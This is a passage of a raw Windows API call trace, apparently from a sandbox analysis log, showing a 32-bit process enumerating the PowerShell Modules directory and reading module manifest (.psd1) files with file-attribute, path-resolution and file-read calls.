lpOldMode=0x59feadc) returned 1 [0116.622] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0116.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.622] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0116.622] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0116.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.623] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0116.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0116.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.623] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0116.623] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0116.623] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.623] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0116.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0116.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.624] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0116.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0116.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feadc) returned 1 [0116.624] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x59feda0 | out: lpFileInformation=0x59feda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0116.624] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fead8) returned 1 [0116.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0116.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0116.624] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0116.625] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd2e8 [0116.625] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.625] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0116.625] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0116.625] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0116.625] FindClose (in: hFindFile=0x6fd2e8 | out: hFindFile=0x6fd2e8) returned 1 [0116.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0116.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0116.625] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0116.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.625] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feb04) returned 1 [0116.626] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2cd4718 | out: lpFileInformation=0x2cd4718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0116.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feb00) returned 1 [0116.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0116.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0116.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fec6c) returned 1 [0116.626] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0116.627] GetFileType (hFile=0x3c0) returned 0x1 [0116.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fec68) returned 1 [0116.627] GetFileType (hFile=0x3c0) returned 0x1 [0116.627] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x0 [0116.627] ReadFile (in: hFile=0x3c0, lpBuffer=0x2cd5548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x2cd5548*, lpNumberOfBytesRead=0x59fecd4*=0x982, lpOverlapped=0x0) returned 1 [0116.627] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x982 [0116.627] ReadFile (in: hFile=0x3c0, lpBuffer=0x2cd4a5e, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x2cd4a5e*, lpNumberOfBytesRead=0x59fecd4*=0x0, lpOverlapped=0x0) returned 1 [0116.627] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x982 [0116.627] ReadFile (in: hFile=0x3c0, lpBuffer=0x2cd5548, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x2cd5548*, lpNumberOfBytesRead=0x59fecd4*=0x0, lpOverlapped=0x0) returned 1 [0116.628] CloseHandle (hObject=0x3c0) returned 1 [0116.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fed8c) returned 1 [0116.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.629] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.629] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x59feb3c | out: lpFindFileData=0x59feb3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6fd2e8 [0116.629] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.629] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0116.629] FindNextFileW (in: hFindFile=0x6fd2e8, lpFindFileData=0x59feb44 | out: lpFindFileData=0x59feb44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0116.630] FindClose (in: hFindFile=0x6fd2e8 | out: hFindFile=0x6fd2e8) returned 1 [0116.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feafc) returned 1 [0116.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fed5c) returned 1 [0116.630] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0116.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59feb04) returned 1 [0116.630] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2ce5e84 | out: lpFileInformation=0x2ce5e84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59feb00) returned 1 [0116.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.631] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fec6c) returned 1 [0116.631] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c0 [0116.631] GetFileType (hFile=0x3c0) returned 0x1 [0116.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fec68) returned 1 [0116.631] GetFileType (hFile=0x3c0) returned 0x1 [0116.631] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x0 [0116.632] ReadFile (in: hFile=0x3c0, lpBuffer=0x2ce6cc4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x2ce6cc4*, lpNumberOfBytesRead=0x59fecd4*=0x9e9, lpOverlapped=0x0) returned 1 [0116.632] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x59feca8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59feca8*=0) returned 0x9e9 [0116.632] ReadFile (in: hFile=0x3c0, lpBuffer=0x2ce6241, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x59fecd4, lpOverlapped=0x0 | out: lpBuffer=0x2ce6241*, lpNumberOfBytesRead=0x59fecd4*=0x0, 